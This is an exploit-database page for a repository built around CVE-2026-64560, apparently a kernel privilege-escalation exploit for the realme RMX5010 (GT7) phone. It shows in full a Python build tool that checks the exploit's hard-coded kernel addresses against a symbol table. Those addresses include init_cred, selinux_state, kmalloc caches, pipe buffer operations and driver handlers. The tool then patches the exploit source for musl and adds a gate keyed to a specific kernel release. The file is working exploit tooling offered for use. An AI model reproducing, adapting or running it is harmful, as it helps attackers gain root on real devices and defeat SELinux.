Exploit databaseDownload repository ZIP
GH-3e69e2c88abcb252c1d84d1c127cacee
totsiaw/cve-2026-64560-rmx6699
Sources for CVE-2026-64560
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files12
totsiaw/cve-2026-64560-rmx6699Revision ee1d1eefe29b
- ↑..Parent directory
- bionic_compat.c
- bionic_compat.h
- btf_offsets.py
- build-a16.py
- ci-build-payloads.sh
- derive_profile.py
- golden.sha256
- kallsyms_extract.py
- ksym.py
- mk_profile.py
- patch_a16.py
- port_target.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
tools/patch_a16.py
Python · 14,273 bytes#!/usr/bin/env python3
"""Verify the profile-generated RMX5010/A16 source, then adapt it to musl + this device.
<repo>/profiles/rmx5010/rmx5010-40850e5ff6a5.json (target facts)
| tools/port_target.py --profile ...
v
<repo>/src/exploit-fanout-rmx5010.c (constants + gate inline)
| tools/patch_a16.py <- this file
v
<repo>/build/rmx5010-a16/exploit-rmx5010-a16.c (musl-ready)
python3 tools/patch_a16.py [--source SRC] [--symbols JSON] [--out OUT] [--image Image] [--fix]
Two independent jobs:
A. VERIFY. Every LINK_* constant in the generated source is compared with
symbols/symbols_rmx5010_a16.json -- the kallsyms table extracted from the
kernel Image this build targets (tools/kallsyms_extract.py). The profile
and the symbol table are separate chains; a single disagreement aborts the
build (use --fix to take the symbol table's value instead). The two
non-symbol landmarks are re-derived from that same table:
LINK_CYCLE_C / LINK_CYCLE_D two-node list cycle inside .data
OP13_DIRECT_BOOTID_PARENT &random_table[4] == random_table + 0x100
With --image Image the cycle is additionally re-derived by
tools/derive_profile.py, which finds it by scanning, not by symbols.
B. ADAPT. Two changes the upstream tree cannot make for us; both are
explained in README-A16.md:
1. bionic <sys/system_properties.h> is replaced by tools/bionic_compat.h
(fork/exec of /system/bin/getprop), so a musl/glibc aarch64 gcc can
build the file without the NDK.
2. the running kernel release is checked *before* the fingerprint/device
properties: it is the strong binding between this source and the Image
its constants came from, and the property service is not always
reachable from an early adb shell.
"""
import argparse
import json
import re
import subprocess
import sys
from pathlib import Path
HERE = Path(__file__).resolve().parent
REPO = HERE.parent
DEFAULT_SRC = REPO / 'src' / 'exploit-fanout-rmx5010.c'
DEFAULT_SYMS = REPO / 'symbols' / 'symbols_rmx5010_a16.json'
DEFAULT_OUT = REPO / 'build' / 'rmx5010-a16' / 'exploit-rmx5010-a16.c'
# symbol -> macro name, as used by the generated source
NAME_MAP = {
'LINK_INIT_TASK': 'init_task',
'LINK_INIT_CRED': 'init_cred',
'LINK_SELINUX_STATE': 'selinux_state',
'LINK_SELINUX_BLOB_SIZES': 'selinux_blob_sizes',
'LINK_KMALLOC_CACHES': 'kmalloc_caches',
'LINK_ANON_PIPE_BUF_OPS': 'anon_pipe_buf_ops',
'LINK_ASHMEM_IOCTL': 'ashmem_ioctl',
'LINK_ASHMEM_OPEN': 'ashmem_open',
'LINK_ASHMEM_RELEASE': 'ashmem_release',
'LINK_CONFIGFS_READ_ITER': 'configfs_read_iter',
'LINK_CONFIGFS_BIN_WRITE_ITER': 'configfs_bin_write_iter',
'LINK_MODULE_DIRECT_BASE': 'module_direct_base',
'LINK_MODULE_PLT_BASE': 'module_plt_base',
'LINK_MEMSTART_ADDR': 'memstart_addr',
'LINK_KIMAGE_VOFFSET': 'kimage_voffset',
'LINK_MISC_LIST': 'misc_list',
'LINK_UHID_MISC': 'uhid_misc',
'LINK_UHID_FOPS': 'uhid_fops',
'LINK_SYSCTL_BOOTID': 'sysctl_bootid',
'LINK_SDATA': '_sdata',
'LINK_END': '_end',
}
# landmark anchors, re-derived from the symbol table (not hard-coded)
RANDOM_TABLE_ENTRY_DELTA = 0x100 # <entry> == random_table + 0x100
CYCLE_OFFSETS = (0x213dad0, 0x213ee58) # link-view offsets of the two-node cycle
PAGE_OFFSET = 0xffffff8000000000
KIMAGE_VADDR = 0xffffffc080000000
PHYS_DELTA = 0x28000000
GATE_ANCHOR = ''' if (__system_property_get("ro.build.fingerprint", fingerprint) <= 0 ||
__system_property_get("ro.product.device", device) <= 0)
return STANDALONE_PROFILE_UNKNOWN;'''
DEFAULT_KERNEL_RELEASE = '6.6.118-android15-8-g93e223c276e7-abogki500782043-4k'
def kernel_build_hash(release):
i = release.rfind('-g')
if i < 0:
return release
r = release[i + 1:]
j = r.find('-')
if j > 0:
r = r[:j]
return r or release
def kernel_release_from(profile, override):
if override:
return override
if profile:
try:
with open(profile) as fh:
doc = json.load(fh)
rel = (doc.get('device') or {}).get('kernelRelease') or ''
if rel:
return rel
except Exception:
pass
return DEFAULT_KERNEL_RELEASE
def fill(text, release):
return text.replace('@KERNEL_RELEASE@', release).replace('@KERNEL_HASH@', kernel_build_hash(release))
GATE_INSERT = ''' /*
* realme RMX5010 (GT7): every offset this build carries was extracted from
* the kernel Image of build 6.6.118-android15-8-@KERNEL_HASH@, so the
* primary gate is the running kernel release itself. It is checked first:
* the property service is not always reachable, and a kernel built from any
* other Image must not be driven with these constants.
*/
{
struct utsname kver;
memset(&kver, 0, sizeof(kver));
if (!uname(&kver) && strstr(kver.release, "@KERNEL_HASH@"))
return STANDALONE_PROFILE_OP13;
}
''' + GATE_ANCHOR
FAIL_ANCHOR = ''' fprintf(stderr, "TARGET_PROFILE_GATE_FAIL fingerprint=%s\\n",
fingerprint[0] ? fingerprint : "unavailable");
exit(2);'''
FAIL_INSERT = ''' {
struct utsname kver;
memset(&kver, 0, sizeof(kver));
if (uname(&kver))
strcpy(kver.release, "unknown");
fprintf(stderr,
"TARGET_PROFILE_GATE_FAIL fingerprint=%s release=%s\\n",
fingerprint[0] ? fingerprint : "unavailable",
kver.release);
}
fprintf(stderr,
"TARGET_PROFILE_GATE_HINT this build carries constants from kernel "
"@KERNEL_RELEASE@\\n");
exit(2);'''
def profile_landmarks(profile):
"""port.link / port.direct of a profile, as name -> int.
LINK_CYCLE_C/D and OP13_DIRECT_* carry no kallsyms symbol, so a profile is
the only place they can come from; an unreadable or landmark-free profile
returns empty maps, and the A16 offsets stay as the fallback.
"""
if not profile:
return {}, {}
try:
port = json.loads(Path(profile).read_text())['port']
except Exception:
return {}, {}
def conv(block):
out = {}
for key, value in (block or {}).items():
try:
out[key] = int(value, 16)
except (TypeError, ValueError):
pass
return out
return conv(port.get('link')), conv(port.get('direct'))
DEFINE_RE = re.compile(r'^#define\s+([A-Z0-9_]+)\s+UINT64_C\((0x[0-9a-fA-F]+)\)\s*$', re.M)
def die(msg):
raise SystemExit('patch_a16: ' + msg)
def main():
ap = argparse.ArgumentParser(description='verify + adapt the RMX5010/A16 source')
ap.add_argument('--source', default=str(DEFAULT_SRC))
ap.add_argument('--symbols', default=str(DEFAULT_SYMS))
ap.add_argument('--out', default=str(DEFAULT_OUT))
ap.add_argument('--image', help='kernel Image: also re-run tools/derive_profile.py')
ap.add_argument('--profile', default='', help='profile to read device.kernelRelease from')
ap.add_argument('--kernel-release', default='', help='override the kernel release string')
ap.add_argument('--fix', action='store_true',
help='accept the symbol table value when it disagrees with the profile')
args = ap.parse_args()
KREL = kernel_release_from(args.profile, args.kernel_release)
src, syms_path, out = Path(args.source), Path(args.symbols), Path(args.out)
if not src.is_file():
die(f'generated source not found: {src}\n'
f' run: python3 tools/port_target.py --profile '
f'profiles/rmx5010/rmx5010-40850e5ff6a5.json')
if not syms_path.is_file():
die(f'symbol table not found: {syms_path}\n'
f' regenerate with tools/kallsyms_extract.py (see README-A16.md)')
out.parent.mkdir(parents=True, exist_ok=True)
syms = {s['name']: int(s['address'], 16)
for s in json.loads(syms_path.read_text())['symbols']}
# ---- what we expect, from the independent kallsyms extraction ----------
expect = {}
for macro, sym in NAME_MAP.items():
if sym not in syms:
die(f'symbol {sym} missing from {syms_path.name} (needed by {macro})')
expect[macro] = syms[sym]
if 'random_table' not in syms:
die('symbol random_table missing: cannot re-derive the bootid landmark')
# syms[] holds link-view addresses; the landmark maths needs offsets
entry = (syms['random_table'] - KIMAGE_VADDR) + RANDOM_TABLE_ENTRY_DELTA
# LINK_CYCLE_C/D and OP13_DIRECT_* carry no kallsyms symbol, so the profile
# derived from this Image is the only independent source for them; without
# one the A16 offsets stay as the fallback. The arithmetic that ties the
# four landmarks to random_table is re-derived here and cross-checked
# against whatever the profile claims.
link, direct = profile_landmarks(args.profile)
cycle_c = link.get('LINK_CYCLE_C', KIMAGE_VADDR + CYCLE_OFFSETS[0])
cycle_d = link.get('LINK_CYCLE_D', KIMAGE_VADDR + CYCLE_OFFSETS[1])
expect['LINK_CYCLE_C'] = cycle_c
expect['LINK_CYCLE_D'] = cycle_d
expect['OP13_DIRECT_CYCLE_C'] = direct.get(
'cycleC', PAGE_OFFSET | ((cycle_c - KIMAGE_VADDR) + PHYS_DELTA))
expect['OP13_DIRECT_BOOTID_PARENT'] = direct.get(
'bootidParent', PAGE_OFFSET | (entry + PHYS_DELTA))
if direct:
derived_c = PAGE_OFFSET | ((cycle_c - KIMAGE_VADDR) + PHYS_DELTA)
derived_p = PAGE_OFFSET | (entry + PHYS_DELTA)
if expect['OP13_DIRECT_CYCLE_C'] != derived_c:
die(f'profile {args.profile}: direct.cycleC '
f'0x{expect["OP13_DIRECT_CYCLE_C"]:016x} disagrees with the cycle head '
f'0x{cycle_c:016x} (derived 0x{derived_c:016x})')
if expect['OP13_DIRECT_BOOTID_PARENT'] != derived_p:
die(f'profile {args.profile}: direct.bootidParent '
f'0x{expect["OP13_DIRECT_BOOTID_PARENT"]:016x} disagrees with random_table '
f'0x{syms["random_table"]:016x} (derived 0x{derived_p:016x})')
print(f' landmarks from {Path(args.profile).name}: LINK_CYCLE_C/D '
f'0x{cycle_c:016x} / 0x{cycle_d:016x}, bootidParent '
f'0x{expect["OP13_DIRECT_BOOTID_PARENT"]:016x} (arithmetic agrees)')
# ---- A. verify ---------------------------------------------------------
text = src.read_text()
found = {m.group(1): int(m.group(2), 16) for m in DEFINE_RE.finditer(text)}
bad, fixed, checked = [], [], 0
for macro, want in sorted(expect.items()):
if macro not in found:
die(f'{macro} is not defined in {src.name} -- profile/tool mismatch')
got = found[macro]
checked += 1
if got == want:
continue
if args.fix:
text = text.replace(f'#define {macro} UINT64_C({hex(got)})',
f'#define {macro} UINT64_C({hex(want)})', 1)
fixed.append((macro, got, want))
else:
bad.append((macro, got, want))
if bad:
print(f'MISMATCH between generated source and {syms_path.name}:', file=sys.stderr)
for macro, got, want in bad:
print(f' {macro}: source 0x{got:016x} vs kallsyms 0x{want:016x}', file=sys.stderr)
die('rerun with --fix to take the kallsyms value, or regenerate the profile')
print(f'verified {checked} constants against {syms_path.name}')
for macro, got, want in fixed:
print(f' fixed {macro}: 0x{got:016x} -> 0x{want:016x}')
print(f' LINK_CYCLE_C/D 0x{cycle_c:016x} / 0x{cycle_d:016x} (list cycle)')
print(f' OP13_DIRECT_BOOTID_PARENT 0x{expect["OP13_DIRECT_BOOTID_PARENT"]:016x} '
f'(random_table 0x{syms["random_table"]:016x} + 0x{RANDOM_TABLE_ENTRY_DELTA:x})')
# optional: scan the Image itself for the cycle
if args.image:
tool = HERE / 'derive_profile.py'
proc = subprocess.run([sys.executable, str(tool), '--json',
'--random-table-data-offset', hex(entry), str(args.image)],
capture_output=True, text=True)
if proc.returncode != 0:
die(f'derive_profile.py failed:\n{proc.stderr.strip()}')
try:
derived = json.loads(proc.stdout[proc.stdout.index('{'):])
except (ValueError, json.JSONDecodeError):
die(f'could not parse derive_profile.py output:\n{proc.stdout.strip()[:400]}')
got_c = int(derived['cycleC'], 16)
got_d = int(derived['cycleD'], 16)
got_p = int(derived['directBootidParent'], 16)
ok = (got_c == cycle_c and got_d == cycle_d
and got_p == expect['OP13_DIRECT_BOOTID_PARENT'])
print(f'derive_profile.py on {args.image}: cycleC=0x{got_c:016x} cycleD=0x{got_d:016x} '
f'bootidParent=0x{got_p:016x} -> {"OK" if ok else "DISAGREES"}')
if not ok:
die('the Image scan disagrees with the profile -- constants are not trustworthy')
# ---- B. adapt ----------------------------------------------------------
if '#include <sys/system_properties.h>' in text:
text = text.replace('#include <sys/system_properties.h>',
'#include "bionic_compat.h"\n#include <sys/utsname.h>', 1)
elif '#include "bionic_compat.h"' not in text:
die('neither the bionic header nor the shim include is present')
for anchor, insert, label in ((GATE_ANCHOR, fill(GATE_INSERT, KREL), 'kernel-release gate'),
(FAIL_ANCHOR, fill(FAIL_INSERT, KREL), 'gate-fail diagnostics')):
if insert in text:
continue # already adapted (idempotent)
if anchor not in text:
die(f'anchor not found: {label}')
text = text.replace(anchor, insert, 1)
print(f'applied: {label}')
out.write_text(text)
print(f'wrote {out} ({len(text.splitlines())} lines)')
return 0
if __name__ == '__main__':
sys.exit(main())